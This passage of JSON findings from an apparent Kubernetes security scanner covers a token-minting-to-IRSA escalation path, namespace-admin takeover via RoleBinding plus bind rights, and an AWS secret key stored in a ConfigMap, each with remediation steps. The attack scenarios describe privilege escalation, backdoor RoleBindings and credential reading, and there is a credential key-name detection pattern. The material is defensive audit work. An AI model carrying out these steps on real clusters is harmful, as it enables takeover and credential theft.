        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/cutres/cutres-detour:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.449999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-detour` can reach **namespace-admin in `cutres`** in 1 hop(s)",
    "description": "Subject `ServiceAccount/cutres/cutres-detour` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/cutres/cutres-detour` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/cutres/cutres-detour` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/cutres/cutres-detour` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "modify_role_binding",
      "hop_count": 1,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:cutres:cutres-detour` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/deepchain-tenant/deepchain-binder:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.449999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-binder` can reach **namespace-admin in `deepchain-tenant`** in 1 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-binder` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-binder",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-binder` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-binder` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/deepchain-tenant/deepchain-binder` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "modify_role_binding",
      "hop_count": 1,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:deepchain-tenant:deepchain-binder` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.449999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` can reach **namespace-admin in `rbac-ns-fixtures`** in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ns-rolebinding-mutate",
      "namespace": "rbac-ns-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "modify_role_binding",
      "hop_count": 1,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-ns-fixtures:sa-ns-rolebinding-mutate` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-CONFIGMAP-CREDS-001:secrets-bundle:app-credentials:aws_secret_access_key",
    "rule_id": "KUBE-CONFIGMAP-CREDS-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "data_exfiltration",
    "title": "ConfigMap `secrets-bundle/app-credentials` has key `aws_secret_access_key` matching a credential-name pattern",
    "description": "ConfigMap `secrets-bundle/app-credentials` contains the key `aws_secret_access_key`. The key name matches a high-confidence credential pattern (`password`, `passwd`, `secret`, `token`, `api_key`/`apikey`, `aws_secret_access_key`, `dsn`, `connection_string`, etc.). The kubesplaining collector preserves ConfigMap keys but redacts values to maintain the cluster's privacy contract, so this rule cannot inspect the value, only the key name.\n\nThe risk is the same as `KUBE-CONFIGMAP-001`: ConfigMap data is non-sensitive by design. etcd does not encrypt it (encryption-at-rest is opt-in and almost always limited to Secrets), `kubectl describe configmap` prints values inline, audit logs include payloads on `get`/`list`, and the namespace-default `view` and `edit` cluster-role bindings give workload SAs much wider read on ConfigMaps than on Secrets. Storing a credential in a ConfigMap therefore exposes it to a *much larger* set of subjects than the equivalent Secret would.\n\nBecause this rule fires per-(ConfigMap, key) pair (versus `KUBE-CONFIGMAP-001` which surfaces a list of matched keys per ConfigMap), it produces a more granular finding stream. Use it for triage when you have many ConfigMaps to audit. Keys that match in name but not intent (`password_strength_requirement`, `api_key_format_version`, `cache_key_prefix`) are expected false positives: review the value out-of-band before treating as a real leak.",
    "resource": {
      "kind": "ConfigMap",
      "name": "app-credentials",
      "namespace": "secrets-bundle"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "object",
      "detail": "ConfigMap `secrets-bundle/app-credentials`: key `aws_secret_access_key` is readable in plaintext to every subject with `get configmaps` in `secrets-bundle` and lands in unencrypted etcd, audit logs, and cluster backups."
    },
    "impact": "If the value of `aws_secret_access_key` in `secrets-bundle/app-credentials` is a real credential, that credential is exposed to every subject with `get configmaps` in `secrets-bundle`, which is typically every workload SA in the namespace via the default `view` cluster role.",
    "attack_scenario": [
      "Attacker compromises any workload in `secrets-bundle` whose ServiceAccount has `get configmaps` (the namespace-default `view` cluster role grants it; most pods running with the namespace `default` SA have it transitively).",
      "They `kubectl get configmap app-credentials -n secrets-bundle -o yaml` and read `data.aws_secret_access_key` directly. ConfigMap values are plaintext: no decoding required.",
      "They identify the credential class from the value's shape (`postgres://user:pass@host/db` is a DSN, `eyJ...` is a JWT, AKIA-prefixed strings are AWS keys, `xoxb-` is Slack, `ghp_` is a GitHub token).",
      "They use the credential immediately. ConfigMap-stored credentials almost never have IP allowlists, short TTLs, or rotation automation: they were put in a ConfigMap *because* the team didn't want operational complexity.",
      "Detection lags. Audit-log review on ConfigMaps is rare in most clusters because ConfigMap reads are dominated by legitimate config-loading. The compromise typically surfaces only when the upstream credential is rotated for unrelated reasons."
    ],
    "evidence": {
      "matched_key": "aws_secret_access_key",
      "namespace": "secrets-bundle"
    },
    "remediation": "Verify whether `aws_secret_access_key` in `secrets-bundle/app-credentials` actually holds a credential; if so, move it to a Secret (or external secret store) and remove the key from the ConfigMap.",
    "remediation_steps": [
      "Inspect the value: `kubectl get cm app-credentials -n secrets-bundle -o jsonpath='{.data.aws_secret_access_key}'`. Confirm whether it's a real credential or a benign config (a feature-flag name, a cache prefix, a strength-requirement string).",
      "If it's a real credential, rotate at the source first (cloud IAM, OIDC IDP, registry, database). Treat the original value as fully exposed: anyone with `view` on `secrets-bundle` could have read it.",
      "Create a Secret with the new value: `kubectl create secret generic app-credentials-credentials -n secrets-bundle --from-literal=aws_secret_access_key=$NEW`. Update consumers to read from the Secret via `envFrom` or volume mount instead of `valueFrom: configMapKeyRef`.",
      "Remove the key from the ConfigMap: `kubectl patch cm app-credentials -n secrets-bundle --type=json -p='[{\"op\":\"remove\",\"path\":\"/data/aws_secret_access_key\"}]'`. Verify consumers still work (`kubectl rollout status`).",
      "Wire prevention: a Kyverno ClusterPolicy that warns on `ConfigMap.data` keys matching `password|secret|token|api_?key|aws_secret_access_key|dsn|connection_string`. Pair with External Secrets Operator so the path of least resistance is to use a real secret store."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/configmap/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://external-secrets.io/latest/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — ConfigMaps",
